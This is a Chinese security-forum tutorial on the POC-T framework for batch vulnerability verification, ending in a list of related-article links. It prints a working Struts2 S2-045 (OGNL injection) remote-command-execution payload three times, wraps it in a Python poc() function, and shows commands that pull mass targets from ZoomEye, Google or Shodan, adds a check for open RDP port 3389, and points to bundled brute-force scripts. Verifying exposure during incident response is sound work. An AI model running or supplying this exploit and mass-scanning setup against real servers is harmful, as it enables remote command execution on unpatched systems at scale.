1.文章难易度 【★★★】 
2.文章知识点: python,poc验证; 
3.文章作者: 野驴 
4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载!

0x01前言

当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuite,pocsuite、zoomeye、seebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持“全局代理”,“全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T。

0x02 简介及安装使用

批量验证要解决的三个关键点:

数据:数据怎么来? 
处理:逻辑是什么? 
 并发:如何实现?

POC-T就是按照这样的思路设计的

安装也很简单,这里不占用篇幅

git clone [url]https://github.com/Xyntax/POC-T[/url]pip install -r requirement.txtpython POC-T.py

0x021 数据怎么来

数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

0x022 处理逻辑是什么

逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

加载用参数–s poc名

0x023 并发如何实现

并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。

最后的命令格式大概是这样子

Python POC-T.py –s poc –aZ “port:22” –limit 100Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”Python POC-T.py –s poc –iS http://host//login.php?id=1Python POC-T.py –s poc –iF /root/pentest/vul.txt

0x03 poc脚本编写
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

网上爆出的验证代码为

def poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request)body=response.read()return body

这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写

import urllib2[/size][/font][align=left][font=宋体][size=3]from poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"try:request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request,timeout=5)body = response.readlines()[0:2]except:return Falseif "nMask" in body:return Tureelse:return False

建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:

def poc(input_str)try:...全部脚本逻辑...except:return False

就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。

POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释

继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。

在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放

可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。

我们的代码可以这样写

import urllib2from poster.encode import multipart_encodefrom poster.streaminghttp import register_openersfrom plugin.util import host2IPfrom plugin.util import checkPortTcpdef poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"try:request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request,timeout=5)body = response.read()except:body=""ip = host2IP(url)            #将url转化为IPport = checkPortTcp(ip,3389) #检测3389是否开放if "nMask" in body:assert isinstance(port, object)return url + "---" + "3389:" + str(port)else:return False


0x04 其他功能
  如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例

爆破:/script/ brute-example.py 
爬虫&采集:/script/ spider-example.py 
 旁站扫描:/script/ bingc.py

0x05 结语
  看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:

Pocsuite:  https://github.com/knownsec/Pocsuite 
Pentestdb:  https://github.com/alpha1e0/pentestdb 
s0m3poc:  https://github.com/s0m30ne/s0m3poc

漏洞应急响应之批量poc验证相关推荐

  1. web漏洞 云盾_云盾WAF实现虚拟补丁——记一起Web漏洞应急响应

    原标题:云盾WAF实现虚拟补丁--记一起Web漏洞应急响应 来自真实案例的虚拟总结.见招拆招,而且还得以最快的速度完成,云盾WAF扛得起! 忧伤的周六早晨 "云盾.先知"的渗透测试 ...

  2. 信息安全-网络安全应急响应技术原理与应用(二)

    一.网络安全应急响应技术与常见工具 1.1 网络安全应急响应技术概况 网络安全应急响应是一个复杂的过程,需要综合应用多种技术和安全机制 在网络安全应急响应过程中,常用到的技术如表所示 应急响应常用技术 ...

  3. 信安教程第二版-第17章网络安全应急响应技术原理与应用

    第17章 网络安全应急响应技术原理与应用 17.1 网络安全应急响应概述 353 17.1.1 网络安全应急响应概念 353 17.1.2 网络安全应急响应发展 353 17.1.3 网络安全应急响应 ...

  4. 计算机组织与结构poc,CPU漏洞原理详解以及POC代码分享

    原标题:CPU漏洞原理详解以及POC代码分享 首先,这个漏洞已经公布近一周时间了,看到各大媒体.公众号到处在宣传,本打算不再发布类似信息,但是发现很多媒体的报道达到了一个目的--几乎所有的CPU都有漏 ...

  5. 《爱奇艺安全应急响应中心漏洞评分标准2021》来了!

    发行版本 V3.0 本文件适用范围 1.适用于爱奇艺安全应急响应中心(https://security.iqiyi.com/)收到的所有涉及爱奇艺的产品和业务的安全漏洞: 2.爱奇艺安全应急响应中心下 ...

  6. 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)

    http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...

  7. p77 Python 开发-批量 FofaSRC 提取POC 验证

    数据来源 本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. 学习内容和目的: ---Request 爬虫技术,lxml 数据提 ...

  8. 蚂蚁金服安全应急响应中心上线 用户可提交漏洞

    蚂蚁金服安全应急响应中心(AFSRC)已于今日上线.该平台旨在集合安全领域的专家.白帽子.社会团体及个人共同发现潜在的漏洞信息,并依此建立漏洞统计分析中心,预知并自查风险,及时修复漏洞,帮助提升自身产 ...

  9. src 漏洞平台 应急响应中心 提交漏洞 简介

    目录 1 漏洞平台 2 网站情况 3 发现/提交漏洞 4 思路总结 1 漏洞平台 漏洞银行 https://www.bugbank.cn/ 漏洞盒子 https://www.vulbox.com/ i ...

最新文章

  1. Task03——零基础入门NLP - 基于机器学习的文本分类
  2. 计算机应用基础实验报告册,计算机应用基础实验报告(flash)
  3. centos 7下独立的python 2.7环境安装
  4. makefile进阶(四)-- 条件判断 (转)
  5. VC6.0编写BHO #error : WINDOWS.H already included. MFC apps must not #include windows.h
  6. 【android】系统库:framework+本地库(-java)+java库(与jre的子集兼容)
  7. php swoole 项目实战,Laravel 中使用 swoole 项目实战开发案例一 (建立 swoole 和前端通信)...
  8. php关联数组和哈希表,php遍历哈希表及关联数组的实例代码
  9. CruiseControl.NET与TFS结合的配置文件
  10. Spring事务操作-事务
  11. 编译原理----词法分析程序----python语言版
  12. hbuilder怎么做登录界面_新手会计不懂如何报税?一套标准网上报税流程演示,教你怎么纳税申报...
  13. JavaScript常用事件(1)
  14. python项目方案书模板格式_项目策划书模板范文
  15. ubuntu18.04 卸载Anaconda3
  16. 邮件服务器软件选择,3款windows下的免费邮件服务器软件
  17. Haproxy常见的负载均衡调度算法及应用场景
  18. 怎样用css3设计出向上向下的小箭头
  19. 网络流量分析/网络流量监测
  20. 【蓝桥杯】每日一题冲刺国赛

热门文章

  1. DBeaver常用快捷键
  2. 咱们程序员好用的云笔记
  3. 初识python语言
  4. R5F102A8ASP#V0 16位微控制器 - MCU RL78G12 8+2/768B 30SSOP R5F102A8ASP#30
  5. hls播放m3u8 添加header请求头,在请求ts的url上添加参数
  6. mysql parquet_Spark与Apache Parquet
  7. vmware虚拟机nat模式配置教程
  8. oj试题 数字字符统计(字符串专题)
  9. 小程序wx.showToast在真机上闪烁一下就消失
  10. Java实现客户端组件间的通信